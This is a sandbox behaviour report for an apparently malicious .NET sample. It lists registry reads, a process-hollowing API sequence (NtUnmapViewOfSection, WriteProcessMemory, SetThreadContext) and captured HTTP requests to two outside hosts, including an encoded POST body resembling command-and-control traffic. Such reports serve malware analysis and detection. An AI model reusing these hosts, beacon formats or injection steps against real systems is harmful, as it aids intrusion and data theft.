HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5e8c75c\40dcb014
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.mscorlib.resources_it_b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5e8c75c\1ffc8ca7
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles

Read Keys

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStart
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStartAtJit
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\VersioningLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\LatestIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\NIUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\ILUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\mscorlib,2.0.0.0,,b77a5c561934e089,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index23
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Xml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Windows.Forms,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Drawing,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Deployment,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Serialization.Formatters.Soap,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Accessibility,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Security,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles

Write Keys

Nothing to display

Delete Keys

Nothing to display

Mutexes

Global\CLR_CASOFF_MUTEX

Resolved APIs

advapi32.dll.RegOpenKeyExW
advapi32.dll.RegQueryInfoKeyW
advapi32.dll.RegEnumKeyExW
advapi32.dll.RegEnumValueW
advapi32.dll.RegCloseKey
advapi32.dll.RegQueryValueExW
kernel32.dll.FlsAlloc
kernel32.dll.FlsFree
kernel32.dll.FlsGetValue
kernel32.dll.FlsSetValue
kernel32.dll.InitializeCriticalSectionEx
kernel32.dll.CreateEventExW
kernel32.dll.CreateSemaphoreExW
kernel32.dll.SetThreadStackGuarantee
kernel32.dll.CreateThreadpoolTimer
kernel32.dll.SetThreadpoolTimer
kernel32.dll.WaitForThreadpoolTimerCallbacks
kernel32.dll.CloseThreadpoolTimer
kernel32.dll.CreateThreadpoolWait
kernel32.dll.SetThreadpoolWait
kernel32.dll.CloseThreadpoolWait
kernel32.dll.FlushProcessWriteBuffers
kernel32.dll.FreeLibraryWhenCallbackReturns
kernel32.dll.GetCurrentProcessorNumber
kernel32.dll.GetLogicalProcessorInformation
kernel32.dll.CreateSymbolicLinkW
kernel32.dll.EnumSystemLocalesEx
kernel32.dll.CompareStringEx
kernel32.dll.GetDateFormatEx
kernel32.dll.GetLocaleInfoEx
kernel32.dll.GetTimeFormatEx
kernel32.dll.GetUserDefaultLocaleName
kernel32.dll.IsValidLocaleName
kernel32.dll.LCMapStringEx
kernel32.dll.GetTickCount64
advapi32.dll.EventRegister
mscoree.dll.#142
mscoreei.dll.RegisterShimImplCallback
mscoreei.dll.OnShimDllMainCalled
mscoreei.dll._CorExeMain
shlwapi.dll.UrlIsW
version.dll.GetFileVersionInfoSizeW
version.dll.GetFileVersionInfoW
version.dll.VerQueryValueW
kernel32.dll.InitializeCriticalSectionAndSpinCount
kernel32.dll.IsProcessorFeaturePresent
msvcrt.dll._set_error_mode
msvcrt.dll.?set_terminate@@YAP6AXXZP6AXXZ@Z
kernel32.dll.FindActCtxSectionStringW
kernel32.dll.GetSystemWindowsDirectoryW
mscoree.dll.GetProcessExecutableHeap
mscoreei.dll.GetProcessExecutableHeap
mscorwks.dll._CorExeMain
mscorwks.dll.GetCLRFunction
advapi32.dll.RegisterTraceGuidsW
advapi32.dll.UnregisterTraceGuids
advapi32.dll.GetTraceLoggerHandle
advapi32.dll.GetTraceEnableLevel
advapi32.dll.GetTraceEnableFlags
advapi32.dll.TraceEvent
mscoree.dll.IEE
mscoreei.dll.IEE
mscorwks.dll.IEE
mscoree.dll.GetStartupFlags
mscoreei.dll.GetStartupFlags
mscoree.dll.GetHostConfigurationFile
mscoreei.dll.GetHostConfigurationFile
mscoreei.dll.GetCORVersion
mscoree.dll.GetCORSystemDirectory
mscoreei.dll.GetCORSystemDirectory_RetAddr
mscoreei.dll.CreateConfigStream
ntdll.dll.RtlUnwind
kernel32.dll.IsWow64Process
advapi32.dll.AllocateAndInitializeSid
advapi32.dll.OpenProcessToken
advapi32.dll.GetTokenInformation
advapi32.dll.InitializeAcl
advapi32.dll.AddAccessAllowedAce
advapi32.dll.FreeSid
kernel32.dll.AddVectoredContinueHandler
kernel32.dll.RemoveVectoredContinueHandler
advapi32.dll.ConvertSidToStringSidW
shell32.dll.SHGetFolderPathW
kernel32.dll.GetWriteWatch
kernel32.dll.ResetWriteWatch
kernel32.dll.CreateMemoryResourceNotification
kernel32.dll.QueryMemoryResourceNotification
kernel32.dll.QueryActCtxW
kernel32.dll.GetVersionExW
kernel32.dll.GetFullPathNameW
ole32.dll.CoInitializeEx
cryptbase.dll.SystemFunction036
ole32.dll.CoGetContextToken
advapi32.dll.CryptAcquireContextA
advapi32.dll.CryptReleaseContext
advapi32.dll.CryptCreateHash
advapi32.dll.CryptDestroyHash
advapi32.dll.CryptHashData
advapi32.dll.CryptGetHashParam
advapi32.dll.CryptImportKey
advapi32.dll.CryptExportKey
advapi32.dll.CryptGenKey
advapi32.dll.CryptGetKeyParam
advapi32.dll.CryptDestroyKey
advapi32.dll.CryptVerifySignatureA
advapi32.dll.CryptSignHashA
advapi32.dll.CryptGetProvParam
advapi32.dll.CryptGetUserKey
advapi32.dll.CryptEnumProvidersA
mscoree.dll.GetMetaDataInternalInterface
mscoreei.dll.GetMetaDataInternalInterface
mscorwks.dll.GetMetaDataInternalInterface
mscorjit.dll.getJit
kernel32.dll.GetUserDefaultUILanguage
kernel32.dll.SetErrorMode
kernel32.dll.GetFileAttributesExW
mscoreei.dll.LoadLibraryShim
culture.dll.ConvertLangIdToCultureName
kernel32.dll.GetACP
kernel32.dll.UnmapViewOfFile
kernel32.dll.CloseHandle
advapi32.dll.LookupPrivilegeValueW
kernel32.dll.GetCurrentProcess
advapi32.dll.AdjustTokenPrivileges
ntdll.dll.NtQuerySystemInformation
kernel32.dll.GetEnvironmentVariableW
kernel32.dll.CreateProcessA
ntdll.dll.NtUnmapViewOfSection
kernel32.dll.VirtualAllocEx
kernel32.dll.GetThreadContext
kernel32.dll.WriteProcessMemory
kernel32.dll.VirtualProtectEx
kernel32.dll.SetThreadContext
kernel32.dll.ResumeThread
ole32.dll.CoUninitialize
kernel32.dll.CreateActCtxW
kernel32.dll.AddRefActCtx
kernel32.dll.ReleaseActCtx
kernel32.dll.ActivateActCtx
kernel32.dll.DeactivateActCtx
kernel32.dll.GetCurrentActCtx
advapi32.dll.EventUnregister

Execute Commands

Nothing to display

Started Services

Nothing to display

Created Services

Nothing to display
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven05_64 Seven05_64 VirtualBox 2018-06-25 17:03:39 2018-06-25 17:06:32 173

16 HTTP Request(s) detected

http://www.zhuqi168.com/do/?Qtu=8lA1lSEoff5SOp23rb5TjNSq/0vAolps/Vka79qlzEJRgQzvv+lod8wknSpR3AanR2bwQLTx&MZg8=kHQD
  • Hostname: www.zhuqi168.com
  • IP Address: 122.9.251.69
  • Port: 80
  • Count: 1

GET /do/?Qtu=8lA1lSEoff5SOp23rb5TjNSq/0vAolps/Vka79qlzEJRgQzvv+lod8wknSpR3AanR2bwQLTx&MZg8=kHQD HTTP/1.1
Host: www.zhuqi168.com
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.dirtyhems.com/do/?Qtu=AqUSkiQal/t1SY0efl+wZosfi9oNouoAZiQFIgSTnVb42UFYlhqadtLmQ7y4zuHBMcbPXKoT&MZg8=kHQD
  • Hostname: www.dirtyhems.com
  • IP Address: 52.55.168.146
  • Port: 80
  • Count: 1

GET /do/?Qtu=AqUSkiQal/t1SY0efl+wZosfi9oNouoAZiQFIgSTnVb42UFYlhqadtLmQ7y4zuHBMcbPXKoT&MZg8=kHQD HTTP/1.1
Host: www.dirtyhems.com
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.dirtyhems.com/do/
  • Hostname: www.dirtyhems.com
  • IP Address: 52.55.168.146
  • Port: 80
  • Count: 1

POST /do/ HTTP/1.1
Host: www.dirtyhems.com
Connection: close
Content-Length: 2197
Cache-Control: no-cache
Origin: http://www.dirtyhems.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.dirtyhems.com/do/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

Qtu=IIYo6E1Ix-gCLP0pCx6nFtQ8sNA_mucLHmdVLh2VqRPyzUBRuWisC7ykbOCAr-~gdIDHf79ES-yT3o0Q(EB72ze2HnaZ9vg6nB9V7ImQSRU6mxJNWu3JMZdpWy~YHMHgdNxvk_sBSv~EqCUqw62hFnPVhFWt4K1ingedFYFW2t(HReahqX44bX04Gg8ewr5gb-3szgdA7QENTf5p6L9fIg63JJtz0UHbqv2p7NDLGU9F5DmbgT6CD2KyjJKZpCasPXPwDA9YZg8_9jKtJ7YhLN6DAwcFXNwX~w9ExBnCk-xdIg3bruu_DpuNcBQWq2L9NUyP0F3QufBRNIgO6ZrDsUAnZpMqKOm9HRROE8Q2Edh9FaTQSFfiHcgDadKdIWj-vbbeT51Wub7qDZrFcVpc6BRkOuYUor1C4hRM~cPk9nvQnVO0Ug3_41cmHE5lsYm94FE0bm7HYa4zeOgktMfxHmpVkSLe7B33g6wZ59e6s1mpj9OByaIqZwofxXkGePB27ybdu2PxKSHd9U(zlk~-ykt3mjrE96n21ZFTZMmg5Vm5jidbkBIh6Gt4Kxz3YHc0PhM1d8FQXp8Ope(QfdNUdNSH88v_Yeph3xYoRY5eY5wy3Bwlq8HRzs3waXCBFLVSUcqD1qhn0pXwLXM-IV4nnVUJwlcR5dy0Z6TWIkj9L44byDoTxPS7QbCgU3KrHnaiCjEiT48YjVRlx43RSobDVFarTAQr45DIJr92XVsH~3d_EzWCOBtbdffPb2rr~1rAZgB041~-6F1_hq6I7qymzFXjP9fdjK3ucfdpuTcGWkXjKDACW2Aelwz43LxXtWeAF4oUD4Goy39Ed6nqFtbR3hFInOJog-WqUvyLSuUtdd3uWv3v3cBoqoeiCSo39aWXxLWy8yK-VeQzCSsHcFT5Sm5WncKLFk5i3hSnD6XhEgm9SFzJaOncaqcY51TsLsqEN5T8dUlPnAYkjSGgaZ4ejoNnYzRhTIcWHGSmS1LzbpPegnMgnCkZJosUIHBqap7EhPNazSV0jGylEJplVei8~MB_kbl-UnpC3yJtdFlkXJQnQbB9(gdf7hc0aelm8aILpbnQi33Le24iVxh35eZpOBU01axMGggCrGif43OAs-sZcRFf55vjhYVxfePUeqj-pMBqG_VyHLnDIUEVfneA~-6MAVQXSmDNnGAjaAODdl(S5svSUocPjY5-gKJDtlAkNshpXloKTUwY3yFR(-qMbsJB4AtrMHgIUZ1mfpHO934Hu6L9Oi(fJ_trUp6Wi_VTRM8I(WFSS4sCecPqnYtf5Ot7wGUhmCj0Sz2wDdk5iBSLCUGD(K3bvFCqxnMGfav0Us0Sk9v7szjqKG4geBBKT9Fh1qqQoterVxYZFCI7qs(In4je88ALMaAZ5xhDAgXS7ZDXi3MbyZw7PFCv4CdjDhH9PYOsuGs4nV91RClvCKQ_umE1NR9s83VhaDBsaeA7(JVOb7uj(vMJj1UjAUIoskODqtz-5XRMAJZbyCNZy5mBi5e9Sp5tBTw9g9Y61B~0pPjiBgGud7tPzBf-4PNUpdK4Tptfx7pIRBO71TH8RGzLZJVDZQVQ4JbagzoZTeZOSG3EAZsKGBgckq2IEzW6qtYKMlz6KHEpbRoc72MhL5u0Nenadicg4e2Afj(JBnWWNsG